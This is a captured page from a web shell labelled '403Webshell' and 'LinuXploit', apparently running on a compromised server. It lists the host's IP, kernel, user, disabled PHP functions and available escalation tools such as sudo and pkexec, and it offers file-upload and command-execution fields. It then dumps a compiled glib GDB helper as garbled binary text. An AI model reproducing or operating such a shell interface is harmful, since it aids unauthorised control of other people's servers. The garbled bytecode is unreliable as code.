403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/glib-2.0/gdb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/glib-2.0/gdb/__pycache__/gobject_gdb.cpython-312.pyc
�

��f4(csd�ddlZddlZddlZejddk\reZnddlZejZ	ddl	ZdZ
ejjZd�Z
d�Zd�Zd�Zd	�ZGd
�d�Zd�ZGd
�d�Zd�Zd�Zd�Zd�ZGd�de�ZGd�d�ZGd�de�Zd�Zy#e$rdZ
Y�_wxYw)�N�TFcsH�tj�j|�S�N)�gdbZselected_frame�read_var)Zsymnames �&/usr/share/glib-2.0/gdb/gobject_gdb.py�read_global_varrs������(�(��1�1�cs��d�}t|�}||dzz
}|dkDrGtj|�jtjd�j��}|S||�}|S)NcsN�|dk(rytd�}|�y||dz	jS)NrZstatic_fundamental_type_nodesi)rZaddress)�typenode�vals  r�lookup_fundamental_typez3g_type_to_typenode.<locals>.lookup_fundamental_types4���q�=���=�>���;���8�q�=�!�)�)�)rii�ZTypeNode)�longrZValue�cast�lookup_type�pointer)�gtyper
rs   r�g_type_to_typenodersk��*�
��K�E��u�q�y� �H��8���9�9�X�&�+�+�C�O�O�J�,G�,O�,O�,Q�R���O�+�8�4���OrcsN�t|�}|�tj|d�Sy)N�qname)r�glib_gdb�g_quark_to_string)rrs  r�g_type_to_namer-s+��!�%�(�H����)�)�(�7�*;�<�<�rcs����fd��|j}|jtjk7ry|j	�}�|�S)Ncs`��t|�dk(ry|jtjk(r.|j	�}|jtjk(r�.|jtj
k7ry|j
�}t|�dkry|d}�|j�S)N�
GTypeInstanceTF�r)	�str�coderZTYPE_CODE_TYPEDEF�targetZTYPE_CODE_STRUCT�fields�len�type)rrZfirst_field�is_g_type_instance_helpers   �rrz5is_g_type_instance.<locals>.is_g_type_instance_helper5s�����t�9��'���i�i�3�0�0�0��;�;�=�D��i�i�3�0�0�0��9�9��,�,�,��������v�;��?���Q�i��(��)9�)9�:�:rF)rrr�
TYPE_CODE_PTRr)r	rrs  @r�is_g_type_instancer4s>���;�"�8�8�D��y�y�C�%�%�%���;�;�=�D�$�T�*�*rcs��t|�dk7rJ	|jtjd�j	��}|d}|d}t|�}|Sy#t$rYywxYw)NrrZg_class�g_type)rrrr
rrZRuntimeError)�instanceZinstZklassr�names     r�g_type_name_from_instancer#Msp���H�~���	��=�=�����!A�!I�!I�!K�L�D���O�E��(�O�E�!�%�(�D��K����	���	�s�AA�	A&�%A&cs�eZdZdZd�Zd�Zy)�GTypePrettyPrinterzPrints a GType instance pointercs�||_yr�r	)�selfr	s  r�__init__zGTypePrettyPrinter.__init__]s	����rcs��t|j�}|rdt|j�|fzSdt|j�zS)Nz	0x%x [%s]�0x%x)r#r	r)r&r"s  r�	to_stringzGTypePrettyPrinter.to_string`s>��(����2����D����N�D�#9�9�9��4����>�*�*rN��__name__�
__module__�__qualname__Z__doc__r'r)�rrr$r$Zs��%��+rr$cs��|j}|jtjk7ryt	|j��dk(S)NFZ
GTypeClass)rrrrrr)r	rs  r�is_g_type_class_instancer/gs6���8�8�D��y�y�C�%�%�%���t�{�{�}���-�-rcs�eZdZdZdd�Zd�Zy)�GTypeHandlePrettyPrinterzPrints a GType instancecs �||_||_yr)r	�hint)r&r	r1s   rr'z!GTypeHandlePrettyPrinter.__init__qs�������	rcs��t|j�}|��tj|d�}dt	|j�|j
|fz}t
dt|d��D]8}t|d|�}|rtj|d�}nd}|d|zz
}�:|dzSd	t	|j�zS)
Nrz
0x%x [%s%srZn_supersZsupers�???Z/Z]r()rr	rrrr1�range�int)r&rr"Zs�i�nodes      rr)z"GTypeHandlePrettyPrinter.to_stringus���%�d�h�h�/�����-�-�h�w�.?�@�D��$�t�x�x�.�$�)�)�T�!B�B�A��1�c�(�:�"6�7�8��)�(�8�*<�Q�*?�@���#�5�5�d�7�m�D�D� �D��S�4�Z���
9��s�7�N��t�D�H�H�~�.�.rN)Zr*r.rrr0r0ns����/rr0cs��t|�rt|�St|j�dk(rt	|�St|�rt	|dd�Sy)NZGTyper zg_type: )rr$rrr0r/r%s r�pretty_printer_lookupr7�sL���#��!�#�&�&�
�3�8�8�}���'��,�,���$�'��H�
�z�B�B�rcs��|�yt|�}|dk(ry	td�}td�}t|�}||kr||dj�S	y#tj$rYywxYw)NrZg_signal_nodesZg_n_signal_nodesr")rr�stringrZerror)�idr	Zmax_ss   r�get_signal_namer:�s���	�z��	
�b��B�	�Q�w����.�/��� 2�3���U���
��:��r�7�6�?�)�)�+�+��
���9�9����s�;A�A*�)A*cs4�t|j��Sr)r�function)�frames r�
frame_namer=�s���u�~�~�� � rcs@�|j�j|�Sr)Zinferior_framer)r<Zvars  r�	frame_varr>�s�����!�*�*�3�/�/rcsL�eZdZd�Zd�Zdd�Zdd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zy)
�SignalFramecsX�tj||d�|d|_||_y)N���)�FrameDecoratorr'r<�frames)r&rBs  rr'zSignalFrame.__init__�s(������f�R�j�1��B�Z��
���rcs�y)Nzsignal-emissionr.�r&s rr"zSignalFrame.name�s�� rNcs��	t||�}|�|jry|�|j|�|S#t$rYywxYwr)r>�is_optimized_out�append�
ValueError�r&r<r"�arrayZvs     rrzSignalFrame.read_var�sK��	��%��&�A��y�A�.�.��� ����Q���H���	��	�s�2�2�	>�>cs�	t||�}|�|jry|jtjd�j��}|� t
|�r|�|j|�|Sy#t$rYywxYw)N�GObject)	r>rDrrr
rr#rErFrGs     r�read_objectzSignalFrame.read_object�s{��	��%��&�A��y�A�.�.�����s���y�1�9�9�;�<�A��}�!:�1�!=��$��L�L��O������	��	�s�A2�AA2�2	A>�=A>cs,�|�|j|�yyr)rE)r&rH�objs   rrEzSignalFrame.append�s���?��L�L���rcsp�t|�dk(rydjttt|���S)Nrr2z or )rZjoinZset�mapr)r&rHs  r�
or_join_arrayzSignalFrame.or_join_array�s*���u�:��?���;�;�s�3�s�E�?�3�4�4rcsh�|j|d�}tj|�}|�|dz|zS|S)N�detailZ:)rrr)r&r<�signalrNs    r�get_detailed_signal_from_framez*SignalFrame.get_detailed_signal_from_frame�s<�����u�h�/���+�+�F�3�����C�<�&�(�(��Mrcs��g}g}|jD�]�}t|�}|dk(r^|j|d|�|j|d�}|r7|dj	�}|j||�}|j
||�|dk(r�|j|d�}|rJ|ddjtjd	�j��}|j
||�|j|d
�}	t|	�}|r$|j||�}|j
||�|dk(s|dk(rV|j|d|�|j|d
�}	t|	�}|r$|j||�}|j
||�|d
k(s��|j|d|�|j|d|�n|j|�}|j|�}d|�d|�d�S)N�signal_emit_unlocked_Rr!r6r"�g_signal_emitv�instance_and_paramsrZ	v_pointerrIZ	signal_id�g_signal_emit_valist�
g_signal_emit�g_signal_emit_by_nameZdetailed_signalz<emit signal 'z' on instance Z>)
rBr=rJrr8rPrErrZTyperr:rM)
r&Z	instancesZsignalsr<r"r6rOrSr!r9s
          rr;zSignalFrame.function�s����	����[�[�E��e�$�D��/�/�� � ��
�I�>��}�}�U�F�3���!�&�\�0�0�2�F�!�@�@���O�F��K�K���0��'�'�&*�m�m�E�;P�&Q�#�&�2�1�5�k�B�G�G�����+�3�3�5� �H��K�K�	�8�4��]�]�5�+�6��(��,���!�@�@���O�F��K�K���0��-�-���1H�� � ��
�I�>��]�]�5�+�6��(��,���!�@�@���O�F��K�K���0��.�.�� � ��
�I�>��
�
�e�%6��@��E!�H�%�%�i�0���#�#�G�,��6<�h�G�Grcs �|jddS)Nrr@)rBrCs r�elidedzSignalFrame.elideds���{�{�1�R� � rcsN�|jd|j�zdz�y)NZ Z
)Zwriter;)r&ZstreamZfulls   r�describezSignalFrame.describes�����S�4�=�=�?�*�T�1�2rr)
r+r,r-r'r"rrJrErMrPr;rWrXr.rrr?r?�s6���
!�	�
��5��+H�Z!�3rr?cs0�eZdZd�Zd�Zd�Zd�Zd�Zd�Zy)�GFrameDecoratorcs �g|_||_yr)�queue�iter)r&r[s  rr'zGFrameDecorator.__init__s����
���	rcs�|Srr.rCs r�__iter__zGFrameDecorator.__iter__s���rcs��t|j�dkrK	t|j�}|jj	|�t|j�dkr�Jyy#t
$rYywxYw)Ni)rrZ�nextr[rE�
StopIteration)r&Zfs  r�fillzGFrameDecorator.fills\���$�*�*�o��"�
�����O���
�
�!�!�!�$��$�*�*�o��"��!�
��
�s�0A%�%	A1�0A1cs��ttt|j�d��D](}t	|j|�}|dk(s|dk(s�&|cSy)NrrQZ_g_closure_invoke_var@)r3ZminrrZr=)r&r5r"s   r�find_signal_emissionz$GFrameDecorator.find_signal_emission%sM���s�3�t�z�z�?�A�.�/�A��d�j�j��m�,�D��/�/�4�;Q�3Q���0�rcsJ�|j�t|j�dk(rt�|j	�}|dkDr�|}	|dk(rn<t|j|dz
�}|j
d�dk\s|dk(r|dz
}nn�B|dz}|t|j�kr:t|j|�dvr|dz}nn|t|j�kr�:|j||}t|�g}||j|||jjd�S)NrrZ_marshalZg_closure_invoke)rRrTrUrVZsignal_emitv_unlockedZsignal_emit_valist_unlocked)	r_rrZr^r`r=Zfindr?Zpop)r&ZemissionZstartZ	prev_nameZendZ
signal_framesZ
new_framess       rr]zGFrameDecorator.next,s"���	�	���t�z�z�?�a�����,�,�.���a�<��E���A�:��&�t�z�z�%�!�)�'<�=�	��>�>�*�-��2�i�CU�6U�!�A�I�E����Q�,�C���D�J�J��'��d�j�j��o�.�3����'�C����D�J�J��'�!�J�J�u�S�1�M�%�m�4�5�J�$.�D�J�J�u�S�!��z�z�~�~�a� � rcs"�|j�Sr)r]rCs r�__next__zGFrameDecorator.__next__Ss���y�y�{�rN)	r+r,r-r'r\r_r`r]rar.rrrYrYs!������%!�NrrYcs�eZdZdZdZdZd�Zy)�GFrameFilterZglibTidcs�t|�Sr)rY)r&Ziterators  r�filterzGFrameFilter.filter\s
���x�(�(rN)r+r,r-r"ZenabledZpriorityrcr.rrrbrbWs���D��G��H�)rrbcs��|�t}tr#t�}||j|j<|j
j
t�yr)r�HAVE_GDB_FRAMEDECORATORrbZ
frame_filtersr"Zpretty_printersrEr7)rKrcs  r�registerre`s?��
�{�������)/����&�+�+�&������4�5r)rrZsysZversion_infor4rZ	itertoolsZimaprLZgdb.FrameDecoratorrdrAZImportErrorrrrrr#r$r/r0r7r:r=r>r?rYZobjectrbrer.rr�<module>rfs���
��
����A��!���D��
�.�.�C�$��"���'�'�6�6�N�2��$�+�2
�
+�
+�.�/�/�0��&!�0�f3�.�f3�R?�?�D)�6�)�6��]
�$�#��$�s�B%�%B/�.B/

Youez - 2016 - github.com/yon3zu
LinuXploit